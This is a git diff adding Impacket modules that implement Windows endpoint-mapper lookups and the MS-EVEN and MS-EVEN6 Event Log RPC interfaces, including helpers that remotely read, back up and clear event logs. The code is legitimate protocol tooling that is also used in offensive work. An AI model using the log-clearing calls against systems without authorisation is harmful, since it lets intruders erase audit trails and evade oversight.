+            request['Ifid']['VersMajor'] = ifId[16:][:2]
+            request['Ifid']['VersMinor'] = ifId[18:]
+        else:
+            request['Ifid'] = ifId
+        request['vers_option'] = vers_option
+        request['entry_handle'] = entry_handle
+        request['max_ents'] = 500
+
+        resp = dce.request(request)
+
+        for i in range(resp['num_ents']):
+            tmpEntry = {}
+            entry = resp['entries'][i]
+            tmpEntry['object'] = entry['object']
+            tmpEntry['annotation'] = b''.join(entry['annotation'])
+            tmpEntry['tower'] = EPMTower(b''.join(entry['tower']['tower_octet_string']))
+            entries.append(tmpEntry)
+
+        entry_handle = resp['entry_handle']
+        if entry_handle.isNull():
+            break
+
+    if disconnect is True:
+        dce.disconnect()
+
+    return entries
+
+def hept_map(destHost, remoteIf, dataRepresentation = uuidtup_to_bin(('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')), protocol = 'ncacn_np', dce=None):
+
+    if dce is None:
+        stringBinding = r'ncacn_ip_tcp:%s[135]' % destHost
+        rpctransport = transport.DCERPCTransportFactory(stringBinding)
+        dce = rpctransport.get_dce_rpc()
+        dce.connect()
+        disconnect = True
+    else:
+        disconnect = False
+
+
+    dce.bind(MSRPC_UUID_PORTMAP)
+
+    tower = EPMTower()
+    interface = EPMRPCInterface()
+
+    interface['InterfaceUUID'] = remoteIf[:16]
+    interface['MajorVersion'] = unpack('<H', remoteIf[16:][:2])[0]
+    interface['MinorVersion'] = unpack('<H', remoteIf[18:])[0]
+
+    dataRep = EPMRPCDataRepresentation()
+    dataRep['DataRepUuid'] = dataRepresentation[:16]
+    dataRep['MajorVersion'] = unpack('<H', dataRepresentation[16:][:2])[0]
+    dataRep['MinorVersion'] = unpack('<H', dataRepresentation[18:])[0]
+
+    protId = EPMProtocolIdentifier()
+    protId['ProtIdentifier'] = FLOOR_RPCV5_IDENTIFIER
+
+    if protocol == 'ncacn_np':
+        pipeName = EPMPipeName()
+        pipeName['PipeName'] = b'\x00'
+
+        hostName = EPMHostName()
+        hostName['HostName'] = b('%s\x00' % destHost)
+        transportData = pipeName.getData() + hostName.getData()
+
+    elif protocol == 'ncacn_ip_tcp':
+        portAddr = EPMPortAddr()
+        portAddr['IpPort'] = 0
+
+        hostAddr = EPMHostAddr()
+        import socket
+        hostAddr['Ip4addr'] = socket.inet_aton('0.0.0.0')
+        transportData = portAddr.getData() + hostAddr.getData()
+    elif protocol == 'ncacn_http':
+        portAddr = EPMPortAddr()
+        portAddr['PortIdentifier'] = FLOOR_HTTP_IDENTIFIER
+        portAddr['IpPort'] = 0
+
+        hostAddr = EPMHostAddr()
+        import socket
+        hostAddr['Ip4addr'] = socket.inet_aton('0.0.0.0')
+        transportData = portAddr.getData() + hostAddr.getData()
+
+    else:
+        LOG.error('%s not support for hetp_map()' % protocol)
+        if disconnect is True:
+            dce.disconnect()
+        return None
+
+    tower['NumberOfFloors'] = 5
+    tower['Floors'] = interface.getData() + dataRep.getData() + protId.getData() + transportData
+
+    request = ept_map()
+    request['max_towers'] = 1
+    request['map_tower']['tower_length'] = len(tower)
+    request['map_tower']['tower_octet_string'] = tower.getData()
+
+    # Under Windows 2003 the Referent IDs cannot be random
+    # they must have the following specific values
+    # otherwise we get a rpc_x_bad_stub_data exception
+    request.fields['obj'].fields['ReferentID'] = 1
+    request.fields['map_tower'].fields['ReferentID'] = 2
+
+    resp = dce.request(request)
+
+    tower = EPMTower(b''.join(resp['ITowers'][0]['Data']['tower_octet_string']))
+    # Now let's parse the result and return an stringBinding
+    result = None
+    if protocol == 'ncacn_np':
+        # Pipe Name should be the 4th floor
+        pipeName = EPMPipeName(tower['Floors'][3].getData())
+        result = 'ncacn_np:%s[%s]' % (destHost, pipeName['PipeName'].decode('utf-8')[:-1])
+    elif protocol == 'ncacn_ip_tcp':
+        # Port Number should be the 4th floor
+        portAddr = EPMPortAddr(tower['Floors'][3].getData())
+        result = 'ncacn_ip_tcp:%s[%s]' % (destHost, portAddr['IpPort'])
+    elif protocol == 'ncacn_http':
+        # Port Number should be the 4th floor
+        portAddr = EPMPortAddr(tower['Floors'][3].getData())
+        result = 'ncacn_http:%s[%s]' % (destHost, portAddr['IpPort'])
+    if disconnect is True:
+        dce.disconnect()
+    return result
+
+def PrintStringBinding(floors):
+    tmp_address = ''
+    for floor in floors[3:]:
+        if floor['ProtocolData'] == b'\x07':
+            tmp_address = 'ncacn_ip_tcp:%%s[%d]' % unpack('!H',floor['RelatedData'])
+        elif floor['ProtocolData'] == b'\x08':
+            tmp_address = 'ncadg_ip_udp:%%s[%d]' % unpack('!H',floor['RelatedData'])
+        elif floor['ProtocolData'] == b'\x09':
+            tmp_address2 = socket.inet_ntoa(floor['RelatedData'])
+            if tmp_address != '':
+                return tmp_address % tmp_address2
+            else:
+                return 'IP: %s' % tmp_address2
+        elif floor['ProtocolData'] == b'\x0c':
+            tmp_address = 'ncacn_spx:~%%s[%d]' % unpack('!H',floor['RelatedData'])
+        elif floor['ProtocolData'] == b'\x0d':
+            n = len(floor['RelatedData'])
+            tmp_address2 = ('%02X' * n) % unpack("%dB" % n, floor['RelatedData'])
+
+            if tmp_address != '':
+                return tmp_address % tmp_address2
+            else:
+                return 'SPX: %s' % tmp_address2
+        elif floor['ProtocolData'] == b'\x0e':
+            tmp_address = 'ncadg_ipx:~%%s[%d]' % unpack('!H',floor['RelatedData'])
+        elif floor['ProtocolData'] == b'\x0f':
+            tmp_address = 'ncacn_np:%%s[%s]' % floor['RelatedData'][:len(floor['RelatedData'])-1].decode('utf-8')
+        elif floor['ProtocolData'] == b'\x10':
+            return 'ncalrpc:[%s]' % floor['RelatedData'][:len(floor['RelatedData'])-1].decode('utf-8')
+        elif floor['ProtocolData'] == b'\x01' or floor['ProtocolData'] == b'\x11':
+            if tmp_address != '':
+                return tmp_address % floor['RelatedData'][:len(floor['RelatedData'])-1].decode('utf-8')
+            else:
+                return 'NetBIOS: %s' % floor['RelatedData'].decode('utf-8')
+        elif floor['ProtocolData'] == b'\x1f':
+            tmp_address = 'ncacn_http:%%s[%d]' % unpack('!H',floor['RelatedData'])
+        else:
+            return 'unknown_proto_0x%x:[0]' % ord(floor['ProtocolData'] )
diff --git a/impacket/dcerpc/v5/even.py b/impacket/dcerpc/v5/even.py
new file mode 100644
index 0000000..34b0814
--- /dev/null
+++ b/impacket/dcerpc/v5/even.py
@@ -0,0 +1,403 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-EVEN] Interface implementation
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Some calls have helper functions, which makes it even easier to use.
+#   They are located at the end of this file.
+#   Helper functions start with "h"<name of the call>.
+#   There are test cases for them too.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#   Itamar Mizrahi (@MrAnde7son)
+#
+from __future__ import division
+from __future__ import print_function
+from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDR, NDRPOINTERNULL, NDRUniConformantArray
+from impacket.dcerpc.v5.dtypes import ULONG, LPWSTR, RPC_UNICODE_STRING, LPSTR, NTSTATUS, NULL, PRPC_UNICODE_STRING, PULONG, USHORT, PRPC_SID, LPBYTE
+from impacket.dcerpc.v5.lsad import PRPC_UNICODE_STRING_ARRAY
+from impacket.structure import Structure
+from impacket import nt_errors
+from impacket.uuid import uuidtup_to_bin
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+
+MSRPC_UUID_EVEN  = uuidtup_to_bin(('82273FDC-E32A-18C3-3F78-827929DC23EA','0.0'))
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        key = self.error_code
+        if key in nt_errors.ERROR_MESSAGES:
+            error_msg_short = nt_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1]
+            return 'EVEN SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'EVEN SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# CONSTANTS
+################################################################################
+# 2.2.2 EventType
+EVENTLOG_SUCCESS           = 0x0000
+EVENTLOG_ERROR_TYPE        = 0x0001
+EVENTLOG_WARNING_TYPE      = 0x0002
+EVENTLOG_INFORMATION_TYPE  = 0x0004
+EVENTLOG_AUDIT_SUCCESS     = 0x0008
+EVENTLOG_AUDIT_FAILURE     = 0x0010
+
+# 2.2.7 EVENTLOG_HANDLE_A and EVENTLOG_HANDLE_W
+#EVENTLOG_HANDLE_A
+EVENTLOG_HANDLE_W = LPWSTR
+
+# 2.2.9 Constants Used in Method Definitions
+MAX_STRINGS      = 0x00000100
+MAX_SINGLE_EVENT = 0x0003FFFF
+MAX_BATCH_BUFF   = 0x0007FFFF
+
+# 3.1.4.7 ElfrReadELW (Opnum 10)
+EVENTLOG_SEQUENTIAL_READ = 0x00000001
+EVENTLOG_SEEK_READ       = 0x00000002
+
+EVENTLOG_FORWARDS_READ   = 0x00000004
+EVENTLOG_BACKWARDS_READ  = 0x00000008
+
+################################################################################
+# STRUCTURES
+################################################################################
+
+class IELF_HANDLE(NDRSTRUCT):
+    structure =  (
+        ('Data','20s=""'),
+    )
+    def getAlignment(self):
+        return 1
+
+# 2.2.3 EVENTLOGRECORD
+class EVENTLOGRECORD(Structure):
+    structure = (
+        ('Length','<L=0'),
+        ('Reserved','<L=0'),
+        ('RecordNumber','<L=0'),
+        ('TimeGenerated','<L=0'),
+        ('TimeWritten','<L=0'),
+        ('EventID','<L=0'),
+        ('EventType','<H=0'),
+        ('NumStrings','<H=0'),
+        ('EventCategory','<H=0'),
+        ('ReservedFlags','<H=0'),
+        ('ClosingRecordNumber','<L=0'),
+        ('StringOffset','<L=0'),
+        ('UserSidLength','<L=0'),
+        ('UserSidOffset','<L=0'),
+        ('DataLength','<L=0'),
+        ('DataOffset','<L=0'),
+        ('SourceName','z'),
+        ('Computername','z'),
+        ('UserSidPadding',':'),
+        ('_UserSid','_-UserSid', 'self["UserSidLength"]'),
+        ('UserSid',':'),
+        ('Strings',':'),
+        ('_Data','_-Data', 'self["DataLength"]'),
+        ('Data',':'),
+        ('Padding',':'),
+        ('Length2','<L=0'),
+    )
+
+# 2.2.4 EVENTLOG_FULL_INFORMATION
+class EVENTLOG_FULL_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('dwFull', ULONG),
+    )
+
+# 2.2.8 RPC_CLIENT_ID
+class RPC_CLIENT_ID(NDRSTRUCT):
+    structure = (
+        ('UniqueProcess', ULONG),
+        ('UniqueThread', ULONG),
+    )
+
+# 2.2.12 RPC_STRING
+class RPC_STRING(NDRSTRUCT):
+    structure = (
+        ('Length','<H=0'),
+        ('MaximumLength','<H=0'),
+        ('Data',LPSTR),
+    )
+
+    def __setitem__(self, key, value):
+        if key == 'Data' and isinstance(value, NDR) is False:
+            self['Length'] = len(value)
+            self['MaximumLength'] = len(value)
+        return NDRSTRUCT.__setitem__(self, key, value)
+
+    def dump(self, msg = None, indent = 0):
+        if msg is None: msg = self.__class__.__name__
+        if msg != '':
+            print("%s" % msg, end=' ')
+
+        if isinstance(self.fields['Data'] , NDRPOINTERNULL):
+            print(" NULL", end=' ')
+        elif self.fields['Data']['ReferentID'] == 0:
+            print(" NULL", end=' ')
+        else:
+            return self.fields['Data'].dump('',indent)
+
+################################################################################
+# RPC CALLS
+################################################################################
+# 3.1.4.9 ElfrClearELFW (Opnum 0)
+class ElfrClearELFW(NDRCALL):
+    opnum = 0
+    structure = (
+       ('LogHandle', IELF_HANDLE),
+       ('BackupFileName', PRPC_UNICODE_STRING),
+    )
+
+class ElfrClearELFWResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.11 ElfrBackupELFW (Opnum 1)
+class ElfrBackupELFW(NDRCALL):
+    opnum = 1
+    structure = (
+       ('LogHandle', IELF_HANDLE),
+       ('BackupFileName', RPC_UNICODE_STRING),
+    )
+
+class ElfrBackupELFWResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.21 ElfrCloseEL (Opnum 2)
+class ElfrCloseEL(NDRCALL):
+    opnum = 2
+    structure = (
+        ('LogHandle', IELF_HANDLE),
+    )
+
+class ElfrCloseELResponse(NDRCALL):
+    structure = (
+        ('LogHandle', IELF_HANDLE),
+        ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.18 ElfrNumberOfRecords (Opnum 4)
+class ElfrNumberOfRecords(NDRCALL):
+    opnum = 4
+    structure = (
+        ('LogHandle', IELF_HANDLE),
+    )
+
+class ElfrNumberOfRecordsResponse(NDRCALL):
+    structure = (
+        ('NumberOfRecords', ULONG),
+        ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.19 ElfrOldestRecord (Opnum 5)
+class ElfrOldestRecord(NDRCALL):
+    opnum = 5
+    structure = (
+        ('LogHandle', IELF_HANDLE),
+    )
+
+class ElfrOldestRecordResponse(NDRCALL):
+    structure = (
+        ('OldestRecordNumber', ULONG),
+        ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.3 ElfrOpenELW (Opnum 7)
+class ElfrOpenELW(NDRCALL):
+    opnum = 7
+    structure = (
+       ('UNCServerName', EVENTLOG_HANDLE_W),
+       ('ModuleName', RPC_UNICODE_STRING),
+       ('RegModuleName', RPC_UNICODE_STRING),
+       ('MajorVersion', ULONG),
+       ('MinorVersion', ULONG),
+    )
+
+class ElfrOpenELWResponse(NDRCALL):
+    structure = (
+       ('LogHandle', IELF_HANDLE),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.5 ElfrRegisterEventSourceW (Opnum 8)
+class ElfrRegisterEventSourceW(NDRCALL):
+    opnum = 8
+    structure = (
+       ('UNCServerName', EVENTLOG_HANDLE_W),
+       ('ModuleName', RPC_UNICODE_STRING),
+       ('RegModuleName', RPC_UNICODE_STRING),
+       ('MajorVersion', ULONG),
+       ('MinorVersion', ULONG),
+    )
+
+class ElfrRegisterEventSourceWResponse(NDRCALL):
+    structure = (
+       ('LogHandle', IELF_HANDLE),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.1 ElfrOpenBELW (Opnum 9)
+class ElfrOpenBELW(NDRCALL):
+    opnum = 9
+    structure = (
+       ('UNCServerName', EVENTLOG_HANDLE_W),
+       ('BackupFileName', RPC_UNICODE_STRING),
+       ('MajorVersion', ULONG),
+       ('MinorVersion', ULONG),
+    )
+
+class ElfrOpenBELWResponse(NDRCALL):
+    structure = (
+       ('LogHandle', IELF_HANDLE),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.7 ElfrReadELW (Opnum 10)
+class ElfrReadELW(NDRCALL):
+    opnum = 10
+    structure = (
+       ('LogHandle', IELF_HANDLE),
+       ('ReadFlags', ULONG),
+       ('RecordOffset', ULONG),
+       ('NumberOfBytesToRead', ULONG),
+    )
+
+class ElfrReadELWResponse(NDRCALL):
+    structure = (
+       ('Buffer', NDRUniConformantArray),
+       ('NumberOfBytesRead', ULONG),
+       ('MinNumberOfBytesNeeded', ULONG),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.13 ElfrReportEventW (Opnum 11)
+class ElfrReportEventW(NDRCALL):
+    opnum = 11
+    structure = (
+       ('LogHandle', IELF_HANDLE),
+       ('Time', ULONG),
+       ('EventType', USHORT),
+       ('EventCategory', USHORT),
+       ('EventID', ULONG),
+       ('NumStrings', USHORT),
+       ('DataSize', ULONG),
+       ('ComputerName', RPC_UNICODE_STRING),
+       ('UserSID', PRPC_SID),
+       ('Strings', PRPC_UNICODE_STRING_ARRAY),
+       ('Data', LPBYTE),
+       ('Flags', USHORT),
+       ('RecordNumber', PULONG),
+       ('TimeWritten', PULONG),
+    )
+
+class ElfrReportEventWResponse(NDRCALL):
+    structure = (
+       ('RecordNumber', PULONG),
+       ('TimeWritten', PULONG),
+       ('ErrorCode', NTSTATUS),
+    )
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+    0   : (ElfrClearELFW, ElfrClearELFWResponse),
+    1   : (ElfrBackupELFW, ElfrBackupELFWResponse),
+    2   : (ElfrCloseEL, ElfrCloseELResponse),
+    4   : (ElfrNumberOfRecords, ElfrNumberOfRecordsResponse),
+    5   : (ElfrOldestRecord, ElfrOldestRecordResponse),
+    7   : (ElfrOpenELW, ElfrOpenELWResponse),
+    8   : (ElfrRegisterEventSourceW, ElfrRegisterEventSourceWResponse),
+    9   : (ElfrOpenBELW, ElfrOpenBELWResponse),
+    10  : (ElfrReadELW, ElfrReadELWResponse),
+    11  : (ElfrReportEventW, ElfrReportEventWResponse),
+}
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+def hElfrOpenBELW(dce, backupFileName = NULL):
+    request = ElfrOpenBELW()
+    request['UNCServerName'] = NULL
+    request['BackupFileName'] = backupFileName
+    request['MajorVersion'] = 1
+    request['MinorVersion'] = 1
+    return dce.request(request)
+
+def hElfrOpenELW(dce, moduleName = NULL, regModuleName = NULL):
+    request = ElfrOpenELW()
+    request['UNCServerName'] = NULL
+    request['ModuleName'] = moduleName
+    request['RegModuleName'] = regModuleName
+    request['MajorVersion'] = 1
+    request['MinorVersion'] = 1
+    return dce.request(request)
+
+def hElfrCloseEL(dce, logHandle):
+    request = ElfrCloseEL()
+    request['LogHandle'] = logHandle
+    resp = dce.request(request)
+    return resp
+
+def hElfrRegisterEventSourceW(dce, moduleName = NULL, regModuleName = NULL):
+    request = ElfrRegisterEventSourceW()
+    request['UNCServerName'] = NULL
+    request['ModuleName'] = moduleName
+    request['RegModuleName'] = regModuleName
+    request['MajorVersion'] = 1
+    request['MinorVersion'] = 1
+    return dce.request(request)
+
+def hElfrReadELW(dce, logHandle = '', readFlags = EVENTLOG_SEEK_READ|EVENTLOG_FORWARDS_READ,
+                 recordOffset = 0, numberOfBytesToRead = MAX_BATCH_BUFF):
+    request = ElfrReadELW()
+    request['LogHandle'] = logHandle
+    request['ReadFlags'] = readFlags
+    request['RecordOffset'] = recordOffset
+    request['NumberOfBytesToRead'] = numberOfBytesToRead
+    return dce.request(request)
+
+def hElfrClearELFW(dce, logHandle = '', backupFileName = NULL):
+    request = ElfrClearELFW()
+    request['LogHandle'] = logHandle
+    request['BackupFileName'] = backupFileName
+    return dce.request(request)
+
+def hElfrBackupELFW(dce, logHandle = '', backupFileName = NULL):
+    request = ElfrBackupELFW()
+    request['LogHandle'] = logHandle
+    request['BackupFileName'] = backupFileName
+    return dce.request(request)
+
+def hElfrNumberOfRecords(dce, logHandle):
+    request = ElfrNumberOfRecords()
+    request['LogHandle'] = logHandle
+    resp = dce.request(request)
+    return resp
+
+def hElfrOldestRecordNumber(dce, logHandle):
+    request = ElfrOldestRecord()
+    request['LogHandle'] = logHandle
+    resp = dce.request(request)
+    return resp
diff --git a/impacket/dcerpc/v5/even6.py b/impacket/dcerpc/v5/even6.py
new file mode 100644
index 0000000..fc6495a
--- /dev/null
+++ b/impacket/dcerpc/v5/even6.py
@@ -0,0 +1,347 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+# Copyright (c) 2017 @MrAnde7son
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Initial [MS-EVEN6] Interface implementation
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Some calls have helper functions, which makes it even easier to use.
+#   They are located at the end of this file.
+#   Helper functions start with "h"<name of the call>.
+#   There are test cases for them too.
+#
+# Author:
+#   Itamar (@MrAnde7son)
+#
+from impacket import system_errors
+from impacket.dcerpc.v5.dtypes import WSTR, DWORD, LPWSTR, ULONG, LARGE_INTEGER, WORD, BYTE
+from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray, NDRUniVaryingArray, NDRSTRUCT
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.uuid import uuidtup_to_bin
+
+MSRPC_UUID_EVEN6 = uuidtup_to_bin(('F6BEAFF7-1E19-4FBB-9F8F-B89E2018337C', '1.0'))
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__(self):
+        key = self.error_code
+        if key in system_errors.ERROR_MESSAGES:
+            error_msg_short = system_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
+            return 'EVEN6 SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'EVEN6 SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# CONSTANTS
+################################################################################
+
+# Evt Path Flags
+EvtQueryChannelName = 0x00000001
+EvtQueryFilePath = 0x00000002
+EvtReadOldestToNewest = 0x00000100
+EvtReadNewestToOldest = 0x00000200
+
+################################################################################
+# STRUCTURES
+################################################################################
+
+class CONTEXT_HANDLE_LOG_HANDLE(NDRSTRUCT):
+    align = 1
+    structure = (
+        ('Data', '20s=""'),
+    )
+
+class PCONTEXT_HANDLE_LOG_HANDLE(NDRPOINTER):
+    referent = (
+        ('Data', CONTEXT_HANDLE_LOG_HANDLE),
+    )
+
+class CONTEXT_HANDLE_LOG_QUERY(NDRSTRUCT):
+    align = 1
+    structure = (
+        ('Data', '20s=""'),
+    )
+
+class PCONTEXT_HANDLE_LOG_QUERY(NDRPOINTER):
+    referent = (
+        ('Data', CONTEXT_HANDLE_LOG_QUERY),
+    )
+
+class LPPCONTEXT_HANDLE_LOG_QUERY(NDRPOINTER):
+    referent = (
+        ('Data', PCONTEXT_HANDLE_LOG_QUERY),
+    )
+
+class CONTEXT_HANDLE_OPERATION_CONTROL(NDRSTRUCT):
+    align = 1
+    structure = (
+        ('Data', '20s=""'),
+    )
+
+class PCONTEXT_HANDLE_OPERATION_CONTROL(NDRPOINTER):
+    referent = (
+        ('Data', CONTEXT_HANDLE_OPERATION_CONTROL),
+    )
+
+# 2.2.11 EvtRpcQueryChannelInfo
+class EvtRpcQueryChannelInfo(NDRSTRUCT):
+    structure = (
+        ('Name', LPWSTR),
+        ('Status', DWORD),
+    )
+
+class EvtRpcQueryChannelInfoArray(NDRUniVaryingArray):
+    item = EvtRpcQueryChannelInfo
+
+class LPEvtRpcQueryChannelInfoArray(NDRPOINTER):
+    referent = (
+        ('Data', EvtRpcQueryChannelInfoArray)
+    )
+
+class RPC_INFO(NDRSTRUCT):
+    structure = (
+        ('Error', DWORD),
+        ('SubError', DWORD),
+        ('SubErrorParam', DWORD),
+    )
+
+class PRPC_INFO(NDRPOINTER):
+    referent = (
+        ('Data', RPC_INFO)
+    )
+
+class WSTR_ARRAY(NDRUniVaryingArray):
+    item = WSTR
+
+class DWORD_ARRAY(NDRUniVaryingArray):
+    item = DWORD
+
+class LPDWORD_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', DWORD_ARRAY)
+    )
+
+class BYTE_ARRAY(NDRUniVaryingArray):
+    item = 'c'
+
+class CBYTE_ARRAY(NDRUniVaryingArray):
+    item = BYTE
+
+class CDWORD_ARRAY(NDRUniConformantArray):
+    item = DWORD
+
+class LPBYTE_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', CBYTE_ARRAY)
+    )
+
+class ULONG_ARRAY(NDRUniVaryingArray):
+    item = ULONG
+
+# 2.3.1 EVENT_DESCRIPTOR
+class EVENT_DESCRIPTOR(NDRSTRUCT):
+    structure = (
+        ('Id', WORD),
+        ('Version', BYTE),
+        ('Channel', BYTE),
+        ('LevelSeverity', BYTE),
+        ('Opcode', BYTE),
+        ('Task', WORD),
+        ('Keyword', ULONG),
+    )
+
+class BOOKMARK(NDRSTRUCT):
+    structure = (
+        ('BookmarkSize', DWORD),
+        ('HeaderSize', '<L=0x18'),
+        ('ChannelSize', DWORD),
+        ('CurrentChannel', DWORD),
+        ('ReadDirection', DWORD),
+        ('RecordIdsOffset', DWORD),
+        ('LogRecordNumbers', ULONG_ARRAY),
+    )
+
+
+#2.2.17 RESULT_SET
+class RESULT_SET(NDRSTRUCT):
+    structure = (
+        ('TotalSize', DWORD),
+        ('HeaderSize', DWORD),
+        ('EventOffset', DWORD),
+        ('BookmarkOffset', DWORD),
+        ('BinXmlSize', DWORD),
+        ('EventData', BYTE_ARRAY),
+        #('NumberOfSubqueryIDs', '<L=0'),
+        #('SubqueryIDs', BYTE_ARRAY),
+        #('BookMarkData', BOOKMARK),
+    )
+
+################################################################################
+# RPC CALLS
+################################################################################
+
+class EvtRpcRegisterLogQuery(NDRCALL):
+    opnum = 5
+    structure = (
+        ('Path', LPWSTR),
+        ('Query', WSTR),
+        ('Flags', DWORD),
+    )
+
+class EvtRpcRegisterLogQueryResponse(NDRCALL):
+    structure = (
+        ('Handle', CONTEXT_HANDLE_LOG_QUERY),
+        ('OpControl', CONTEXT_HANDLE_OPERATION_CONTROL),
+        ('QueryChannelInfoSize', DWORD),
+        ('QueryChannelInfo', EvtRpcQueryChannelInfoArray),
+        ('Error', RPC_INFO),
+        )
+
+class EvtRpcQueryNext(NDRCALL):
+    opnum = 11
+    structure = (
+        ('LogQuery', CONTEXT_HANDLE_LOG_QUERY),
+        ('NumRequestedRecords', DWORD),
+        ('TimeOutEnd', DWORD),
+        ('Flags', DWORD),
+    )
+
+class EvtRpcQueryNextResponse(NDRCALL):
+    structure = (
+        ('NumActualRecords', DWORD),
+        ('EventDataIndices', DWORD_ARRAY),
+        ('EventDataSizes', DWORD_ARRAY),
+        ('ResultBufferSize', DWORD),
+        ('ResultBuffer', BYTE_ARRAY),
+        ('ErrorCode', ULONG),
+    )
+
+class EvtRpcQuerySeek(NDRCALL):
+    opnum = 12
+    structure = (
+        ('LogQuery', CONTEXT_HANDLE_LOG_QUERY),
+        ('Pos', LARGE_INTEGER),
+        ('BookmarkXML', LPWSTR),
+        ('Flags', DWORD),
+    )
+
+class EvtRpcQuerySeekResponse(NDRCALL):
+    structure = (
+        ('Error', RPC_INFO),
+    )
+
+class EvtRpcClose(NDRCALL):
+    opnum = 13
+    structure = (
+        ("Handle", CONTEXT_HANDLE_LOG_HANDLE),
+    )
+
+class EvtRpcCloseResponse(NDRCALL):
+    structure = (
+        ("Handle", PCONTEXT_HANDLE_LOG_HANDLE),
+        ('ErrorCode', ULONG),
+    )
+
+class EvtRpcOpenLogHandle(NDRCALL):
+    opnum = 17
+    structure = (
+        ('Channel', WSTR),
+        ('Flags', DWORD),
+    )
+
+class EvtRpcOpenLogHandleResponse(NDRCALL):
+    structure = (
+        ('Handle', PCONTEXT_HANDLE_LOG_HANDLE),
+        ('Error', RPC_INFO),
+    )
+
+class EvtRpcGetChannelList(NDRCALL):
+    opnum = 19
+    structure = (
+        ('Flags', DWORD),
+    )
+
+class EvtRpcGetChannelListResponse(NDRCALL):
+    structure = (
+        ('NumChannelPaths', DWORD),
+        ('ChannelPaths', WSTR_ARRAY),
+        ('ErrorCode', ULONG),
+    )
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+
+OPNUMS = {
+    5   : (EvtRpcRegisterLogQuery, EvtRpcRegisterLogQueryResponse),
+    11  : (EvtRpcQueryNext,  EvtRpcQueryNextResponse),
+    12  : (EvtRpcQuerySeek, EvtRpcQuerySeekResponse),
+    13  : (EvtRpcClose, EvtRpcCloseResponse),
+    17  : (EvtRpcOpenLogHandle, EvtRpcOpenLogHandle),
+    19  : (EvtRpcGetChannelList, EvtRpcGetChannelListResponse),
+}
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+
+def hEvtRpcRegisterLogQuery(dce, path, flags, query='*\x00'):
+    request = EvtRpcRegisterLogQuery()
+
+    request['Path'] = path
+    request['Query'] = query
+    request['Flags'] = flags
+    resp = dce.request(request)
+    return resp
+
+def hEvtRpcQueryNext(dce, handle, numRequestedRecords, timeOutEnd=1000):
+    request = EvtRpcQueryNext()
+
+    request['LogQuery'] = handle
+    request['NumRequestedRecords'] = numRequestedRecords
+    request['TimeOutEnd'] = timeOutEnd
+    request['Flags'] = 0
+    status = system_errors.ERROR_MORE_DATA
+    resp = dce.request(request)
+    while status == system_errors.ERROR_MORE_DATA:
+        try:
+            resp = dce.request(request)
+        except DCERPCException as e:
+            if str(e).find('ERROR_NO_MORE_ITEMS') < 0:
+                raise
+            elif str(e).find('ERROR_TIMEOUT') < 0:
+                raise
+            resp = e.get_packet()
+        return resp
+
+def hEvtRpcClose(dce, handle):
+    request = EvtRpcClose()
+    request['Handle'] = handle
+    resp = dce.request(request)
+    return resp
+
+def hEvtRpcOpenLogHandle(dce, channel, flags):
+    request = EvtRpcOpenLogHandle()
+
+    request['Channel'] = channel
+    request['Flags'] = flags
+    return dce.request(request)
+
+def hEvtRpcGetChannelList(dce):
+    request = EvtRpcGetChannelList()
+
+    request['Flags'] = 0
+    resp = dce.request(request)
+    return resp
diff --git a/impacket/dcerpc/v5/iphlp.py b/impacket/dcerpc/v5/iphlp.py
new file mode 100644
index 0000000..40e7ffe
--- /dev/null
+++ b/impacket/dcerpc/v5/iphlp.py
@@ -0,0 +1,175 @@
